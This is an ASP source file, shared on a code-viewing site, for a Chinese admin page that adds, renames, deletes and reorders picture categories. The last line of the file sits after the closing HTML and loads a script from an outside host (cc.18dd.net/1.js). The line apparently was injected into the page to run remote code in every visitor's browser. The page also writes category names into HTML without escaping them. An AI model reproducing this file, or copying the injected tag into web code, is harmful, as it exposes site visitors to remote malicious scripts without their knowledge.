📄 classmana.asp
字号:
<!--#include file="conn.asp"-->
<!--#include file="check.asp"-->
<%
if session("flag")>0 then
Response.Write("<br><br><br><center>对不起。你没有权限进入此页面!!!</center>")
Response.end
end if
dim Action,FoundErr,ErrMsg
Action=trim(request("Action"))
if Action="UpOrder" then
call UpOrder()
elseif Action="DownOrder" then
call DownOrder()
end if
if FoundErr=True then
WriteErrMsg()
else
call main()
end if
ConnClose
function WriteErrMsg()
response.Write(ErrMsg)
end function
sub UpOrder()
dim ID,sqlOrder,rsOrder,MoveNum,cRootID,tRootID,i,rs,PrevID,NextID
ID=trim(request("ID"))
cRootID=Trim(request("cRootID"))
MoveNum=trim(request("MoveNum"))
if ID="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>参数不足!</li>"
else
ID=CLng(ID)
end if
if cRootID="" then
FoundErr=true
ErrMsg=ErrMsg & "<br><li>错误参数!</li>"
else
cRootID=Cint(cRootID)
end if
if MoveNum="" then
FoundErr=true
ErrMsg=ErrMsg & "<br><li>错误参数!</li>"
else
MoveNum=Cint(MoveNum)
if MoveNum=0 then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>请选择要提升的数字!</li>"
end if
end if
if FoundErr=True then
exit sub
end if
'得到本栏目的PrevID,NextID
set rs=conn.execute("select PrevID,NextID from classname where ID=" & ID)
PrevID=rs(0)
NextID=rs(1)
rs.close
set rs=nothing
'先修改上一栏目的NextID和下一栏目的PrevID
if PrevID>0 then
conn.execute "update classname set NextID=" & NextID & " where ID=" & PrevID
end if
if NextID>0 then
conn.execute "update classname set PrevID=" & PrevID & " where ID=" & NextID
end if
dim mrs,MaxRootID
set mrs=conn.execute("select max(RootID) From classname")
MaxRootID=mrs(0)+1
'先将当前栏目移至最后,包括子栏目
conn.execute("update classname set RootID=" & MaxRootID & " where RootID=" & cRootID)
'然后将位于当前栏目以上的栏目的RootID依次加一,范围为要提升的数字
sqlOrder="select * From classname where RootID<" & cRootID & " order by RootID desc"
set rsOrder=server.CreateObject("adodb.recordset")
rsOrder.open sqlOrder,conn,1,3
if rsOrder.bof and rsOrder.eof then
exit sub '如果当前栏目已经在最上面,则无需移动
end if
i=1
do while not rsOrder.eof
tRootID=rsOrder("RootID") '得到要提升位置的RootID,包括子栏目
conn.execute("update classname set RootID=RootID+1 where RootID=" & tRootID)
i=i+1
if i>MoveNum then
rsOrder("PrevID")=ID
rsOrder.update
conn.execute("update classname set NextID=" & rsOrder("ID") & " where ID=" & ID)
exit do
end if
rsOrder.movenext
loop
rsOrder.movenext
if rsOrder.eof then
conn.execute("update classname set PrevID=0 where ID=" & ID)
else
rsOrder("NextID")=ID
rsOrder.update
conn.execute("update classname set PrevID=" & rsOrder("ID") & " where ID=" & ID)
end if
rsOrder.close
set rsOrder=nothing
'然后再将当前栏目从最后移到相应位置,包括子栏目
conn.execute("update classname set RootID=" & tRootID & " where RootID=" & MaxRootID)
end sub
sub DownOrder()
dim ID,sqlOrder,rsOrder,MoveNum,cRootID,tRootID,i,rs,PrevID,NextID
ID=trim(request("ID"))
cRootID=Trim(request("cRootID"))
MoveNum=trim(request("MoveNum"))
if ID="" then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>参数不足!</li>"
else
ID=CLng(ID)
end if
if cRootID="" then
FoundErr=true
ErrMsg=ErrMsg & "<br><li>错误参数!</li>"
else
cRootID=Cint(cRootID)
end if
if MoveNum="" then
FoundErr=true
ErrMsg=ErrMsg & "<br><li>错误参数!</li>"
else
MoveNum=Cint(MoveNum)
if MoveNum=0 then
FoundErr=True
ErrMsg=ErrMsg & "<br><li>请选择要提升的数字!</li>"
end if
end if
if FoundErr=True then
exit sub
end if
'得到本栏目的PrevID,NextID
set rs=conn.execute("select PrevID,NextID from classname where ID=" & ID)
PrevID=rs(0)
NextID=rs(1)
rs.close
set rs=nothing
'先修改上一栏目的NextID和下一栏目的PrevID
if PrevID>0 then
conn.execute "update classname set NextID=" & NextID & " where ID=" & PrevID
end if
if NextID>0 then
conn.execute "update classname set PrevID=" & PrevID & " where ID=" & NextID
end if
dim mrs,MaxRootID
set mrs=conn.execute("select max(rootid) From classname")
MaxRootID=mrs(0)+1
'先将当前栏目移至最后,包括子栏目
conn.execute("update classname set RootID=" & MaxRootID & " where RootID=" & cRootID)
'然后将位于当前栏目以下的栏目的RootID依次减一,范围为要下降的数字
sqlOrder="select * From classname where RootID>" & cRootID & " order by RootID"
set rsOrder=server.CreateObject("adodb.recordset")
rsOrder.open sqlOrder,conn,1,3
if rsOrder.bof and rsOrder.eof then
exit sub '如果当前栏目已经在最下面,则无需移动
end if
i=1
do while not rsOrder.eof
tRootID=rsOrder("RootID") '得到要提升位置的RootID,包括子栏目
conn.execute("update classname set RootID=RootID-1 where RootID=" & tRootID)
i=i+1
if i>MoveNum then
rsOrder("NextID")=ID
rsOrder.update
conn.execute("update classname set PrevID=" & rsOrder("ID") & " where ID=" & ID)
exit do
end if
rsOrder.movenext
loop
rsOrder.movenext
if rsOrder.eof then
conn.execute("update classname set NextID=0 where ID=" & ID)
else
rsOrder("PrevID")=ID
rsOrder.update
conn.execute("update classname set NextID=" & rsOrder("ID") & " where ID=" & ID)
end if
rsOrder.close
set rsOrder=nothing
'然后再将当前栏目从最后移到相应位置,包括子栏目
conn.execute("update classname set RootID=" & tRootID & " where RootID=" & MaxRootID)
end sub
sub main()
dim sqlClass,rsClass,i,iCount,j
sqlClass="select * from classname order by RootID"
set rsClass=server.CreateObject("adodb.recordset")
rsClass.open sqlClass,conn,1,1
iCount=rsClass.recordcount
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<link href="../style/css.css" rel="stylesheet" type="text/css">
<script language=javascript>
function xxg()
{
if (form3.classname3.value=="")
{
alert("请写上分类的名字!!!");
form3.classname3.focus();
return false;
}
return true
}
</script>
</head>
<body topmargin="0">
<table width="438" height="166" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="32" colspan="2"><strong>
<p align="center">图片分类管理</p>
</strong></td>
</tr>
<tr>
<td width="4%" height="111" rowspan="2"> </td>
<td width="96%" height="46"> <form name="form3" method="post" action="admin_class.asp?style=add" onsubmit="return xxg()">
<table width="100%" height="35" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="19%" height="15"> </td>
<td width="55%" align="center"> </td>
<td width="26%"> </td>
</tr>
<tr>
<td>填加分类</td>
<td colspan="2"> <input name="classname3" type="text" id="classname" style="width: 258px">
<input type="submit" name="Submit3" value="填加">
</td>
</tr>
</table>
</form></td>
</tr>
<tr>
<td height="36"> <form name="form1" method="post" action="admin_class.asp?style=modify">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="19%">更改分类</td>
<td width="81%"><select name="classname" id="select2">
<% sql1="select * from classname order by RootID"
set rs1=conn.execute(sql1)
do while not rs1.eof %>
<option value=<%=rs1("classname")%>><%=rs1("classname")%></option>
<% i=i+1
rs1.movenext
loop %>
</select>
该名为
<input name="newclassname" type="text"> <input type="submit" name="Submit" value="修改">
</td>
</tr>
</table>
</form></td>
</tr>
<tr>
<td> </td>
<td><form name="form2" method="post" action="admin_class.asp?style=del">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="19%">删除分类</td>
<td width="81%"> <select name="classname2" id="select3">
<% sql1="select * from classname order by RootID"
set rs1=conn.execute(sql1)
do while not rs1.eof %>
<option value=<%=rs1("classname")%>><%=rs1("classname")%></option>
<%i=i+1
rs1.movenext
loop
rs1.close
set rs1=nothing%>
</select> <input type="submit" name="Submit2" value="删除"></td>
</tr>
</table>
</form></td>
</tr>
</table>
<table width="420" border="0" align="center" cellpadding="0" cellspacing="1" class="border">
<tr class="title">
<td height="22" colspan="4" align="center"><strong>分类重新排序</strong></td>
</tr>
<%
j=1
do while not rsClass.eof
%>
<tr>
<td width="125"><%=rsClass("classname")%></td>
<td width="310">
<table border="0" cellpadding="0" cellspacing="1">
<tr><%
if j>1 then
response.write "<form action='?Action=UpOrder' method='post'><td width='150'>"
response.write "<select name=MoveNum size=1><option value=0>向上移动</option>"
for i=1 to j-1
response.write "<option value="&i&">"&i&"</option>"
next
response.write "</select>"
response.write "<input type=hidden name=ID value="&rsClass("ID")&">"
response.write "<input type=hidden name=cRootID value="&rsClass("RootID")&"> <input type=submit name=Submit value=修改>"
response.write "</td></form>"
else
response.write "<td width='150'> </td>"
end if
if iCount>j then
response.write "<form action='?Action=DownOrder' method='post'><td width='150'>"
response.write "<select name=MoveNum size=1><option value=0>向下移动</option>"
for i=1 to iCount-j
response.write "<option value="&i&">"&i&"</option>"
next
response.write "</select>"
response.write "<input type=hidden name=ID value="&rsClass("ID")&">"
response.write "<input type=hidden name=cRootID value="&rsClass("RootID")&"> <input type=submit name=Submit value=修改>"
response.write "</td></form>"
else
response.write "<td width='150'> </td>"
end if
%> </tr>
</table>
</td>
</tr>
<%
j=j+1
rsClass.movenext
loop
%>
</table>
</body>
</html>
<%
rsClass.close
set rsClass=nothing
end sub
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -